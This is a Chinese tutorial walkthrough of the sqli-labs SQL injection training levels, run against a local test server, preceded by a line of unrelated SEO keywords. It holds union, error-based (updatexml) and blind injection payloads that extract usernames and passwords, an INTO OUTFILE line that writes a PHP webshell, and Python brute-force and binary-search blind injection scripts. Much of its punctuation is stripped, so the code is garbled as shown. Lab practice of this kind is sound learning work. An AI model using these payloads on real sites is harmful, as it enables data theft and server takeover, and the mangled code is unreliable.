国家建设局网站,查询行业信息的网站,wordpress wp_head()在哪个文件中,昆山网站推广Less-1 首先#xff0c;可以看见该界面#xff0c;该关卡主要是SQL注入#xff0c;由于对用户的输入没有做过滤#xff0c;使查询语句进入到了数据库中#xff0c;查询到了本不应该查询到的数据 首先#xff0c;如果想要进入内部#xff0c;就要绕过#xff0c;首先是用…Less-1 首先可以看见该界面该关卡主要是SQL注入由于对用户的输入没有做过滤使查询语句进入到了数据库中查询到了本不应该查询到的数据 首先如果想要进入内部就要绕过首先是用 ’ 绕过当然绕过后会有一个 ’ 空余所以要 “- -空格”或者“–”来注释掉然后通过联合查询来查询到用户权限和数据库名 这里“”号回自动转换为“空格”所以可以用“–”来注释但也因为如此当真正想使用“”号时“”号会变成“空格”所以但想使用“”号时要用“%2b”“%2b”就是“”号的意思。
?id-1 union select 1 ,user(),database()--因为该网页代码id输入有 ’ ’ 是字符型注入要单双引号闭合所以要 ’ 来绕过。接下来按照相同的操作查询出列名表明和库名就能进行登录了
注意一般数据库创建的时候都会创建“information_chema”“mysql”“performance_chema”这3个库
Less-2
先看看源代码 这个一眼就知道是数字型注入不用单双引号所以可以直接进行注入
?id-1 union select 1 ,user(),database()--对比上一题少输一个 ’ 表示不用 ’ 来绕过直接注入就行
Less-5
先查看代码 看到error明显应该使用报错注入
?id1 and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--这里我使用updatexml报错函数来注入输出通过错误报告来显示想要查询的信息但是注意这个输出只能输出32个字节所以想要查询到后面的数据可以用substr函数来设置输出字段,如下图
?id1 and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--updatexml报错注入
使用有三个参数XML_documentXPath_stringnew_value
第一个参数XML_document是String格式为XML文档对象的名称文中为DocXML的内容 第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程是需要update的位置XPATH路径 第三个参数new_valueString格式替换查找到的符合条件的数据是更新后的内容
注意第一三个参数可以随便写主要利用的还是第二个参数第二个参数需要Xpath格式的字符串以 “~” 开头的内容不是xml格式的语法所以 “~” 用0x7e表示concat()函数为字符串连接函数显然不符合规则但是会将括号内的执行结果一错误的方式报出这样就可以实现报错注入了 Less-6
和Less-5题还是一样的
?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)--Less-7
mysql如何导出webshell如何上传webshell
运用outfile函数
还要3个条件条件苛刻
1、mysql用户权限必须为root 2、必须知道网站的物理路径使自己能够知道并访问 3、secure_file_priv为空表示可以导到任何目录下面
但是我的secure_file_priv文件有目录只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\中不能导入到指定文件无法复现。 如果正常secure_file_priv文件中没有代码的话可以用以下代码进行导出
?id1)) union select 1,2,?php phpinfo(); into outfile D:/phpstudy_pro/www/sqli/webshell.php;--其中“D:/phpstudy_pro/www/sqli/webshell.php”是我自己定义的导出路径这个你可以根据自己喜好自己填写要导出到哪里
Less-8 根据输入反馈的结果可以知道该页面只有正确时才会显示输入错误就什么都不显示,那么就可以使用布尔盲注来解决。 这里我们可以试试自己编写脚本来完成以下是完成截图和代码
import requestsurl http://127.0.0.1/sqli/Less-8/index.php#题目Less-8的路径def inject_database(url):name #存储将要输出的字符for i in range(1, 20):#输出字段的字长for j in range(32, 129):#默认显示的字符从32到127这里我选择129表示后续没有字符其实写128也可以payload 1 and ascii(substr(database(), %d, 1)) %d-- % (i, j)#将databases里面的第一个字截取出来并转换成数值和j即%d每个数字代表对应的字符进行比较如果等于则输出res {id: payload}r requests.get(url, paramsres)if You are in........... in r.text:name name chr(j)print(name)breakelse:continueinject_database(url)这个方法是暴力破解法用来两个循环相对来说还是很慢的 还有一个方法二分查找法相对来说速度更快
import requests
def inject_database(url):name for i in range(1, 20):low 32high 128mid (low high) // 2while low high:payload 1 and ascii(substr(database(), %d, 1)) %d-- % (i, mid)res {id: payload}r requests.post(url, paramsres)if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32:breakname name chr(mid)print(name)inject_database(url)当然后续要查找其他用户表明之类的只要改一下payload的查询就行 注意查询代码过长时要注意括号的规范我经常因为括号多写或者少写而报错
Less-9 这一题和上一题又有些不同他无论输入对还是错都只显示一个页面对于这种反馈我们可以试试时间盲注 如果输入数据正确则沉睡3秒或1秒自己定义沉睡几秒否则不沉睡
import time
import requests
def inject_database(url):name for i in range(1, 50):low 32high 128mid (low high) // 2while low high:payload 1 and if(ascii(substr(database(), %d, 1)) %d, sleep(1), 0)-- % (i, mid)res {id: payload}start_time time.time()r requests.post(url, paramsres)end_time time.time()if end_time - start_time 1:low mid 1else:high midmid (low high) // 2if mid 32:breakname name chr(mid)print(name)inject_database(url)基本还是差不多的代码只不过加了个时间限制 这个截图无法展示自己可以去试试结果是在1s后运行出来的。
Less-11 查看源代码发现用户名是字符串输出那么就可以通过 ’ 绕过来获取信息 输入a union select 1,user()#查询用户权限 成功查到是root权限 查其他的也行同样的在用户名输入界面更改代码就行
a union select 1,group_concat(table_name) from information_schema.tables where table_schemasecurity --Less-13 其实这个和之前的一样输入错误的话会有报错那么就可以用报错注入
a) and updatexml(1,concat(0x7e,(select user()),0x7e),1)#Less-15 登录成功和失败都只返回图片 还是编写脚本来试试看
import requestsurl http://127.0.0.1/sqli/Less-15/index.phpdef inject_database(url):name for i in range(1, 20):low 32high 128mid (low high) // 2while low high:data {uname: admin and ascii(substr(database(), %d, 1)) %d# % (i, mid), passwd: aaaaaa}r requests.post(url, datadata)if flag.jpg in r.text:low mid 1else:high midmid (low high) // 2if mid 32:breakname name chr(mid)print(name)inject_database(url)可以成功获得结果